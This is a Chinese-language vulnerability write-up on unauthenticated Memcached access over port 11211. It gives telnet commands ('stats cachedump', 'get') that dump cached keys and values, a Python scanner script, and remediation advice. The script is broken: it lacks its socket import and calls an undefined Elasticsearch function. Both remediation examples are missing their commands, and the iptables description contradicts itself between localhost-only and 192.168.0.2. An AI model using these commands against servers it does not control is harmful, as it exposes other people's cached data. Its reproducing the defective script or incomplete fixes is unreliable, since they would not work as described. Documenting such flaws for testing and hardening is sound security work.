Memcached 分布式缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
0X00 Memcache安装
1. 下载Mencache的windows稳定版,解压放某个盘下面
2、在cmd命令界面)下输入 'memcached.exe -d install' 进行安装
3、 启动 memcached.exe -d start。NOTE: 以后memcached将作为windows的一个服务每次开机时自动启动。这样服务器端已经安装完毕了。
0x01 漏洞验证
telnet 10.9.9.120
无需用户名密码,可以直接连接memcache 服务的11211端口。
# stats //查看memcache 服务状态
# stats items //查看所有items
# stats cachedump 32 0 //获得缓存key
# get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
0x02 Python未授权访问脚本
#! /usr/bin/env python # _*_ coding:utf-8 _*_ def Memcache_check(ip, port=11211, timeout=5): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("stats\r\n") result = s.recv(1024) if "STAT version" in result: print '[+] Memcache Unauthorized: ' +ip+':'+str(port) except Exception, e: pass if __name__ == '__main__': Elasticsearch_check("127.0.0.1")
0x03 修复方案:
因memcache无权限控制功能,所以需要用户对访问来源进行限制。
方案一:
如果memcache没有在外网开放的必要,可在memcached启动的时候指定绑定的ip地址为 127.0.0.1。例如:
方案二:(注意:请谨慎配置iptables规则)
如果memcache服务需要对外提供服务,则可以通过iptables进行访问控制,下面是只允许本机访问:
上述规则的意思是只允许192.168.0.2这个ip对11211端口进行访问。
参考链接:
Windows下的Memcache安装 http://kimi.it/258.html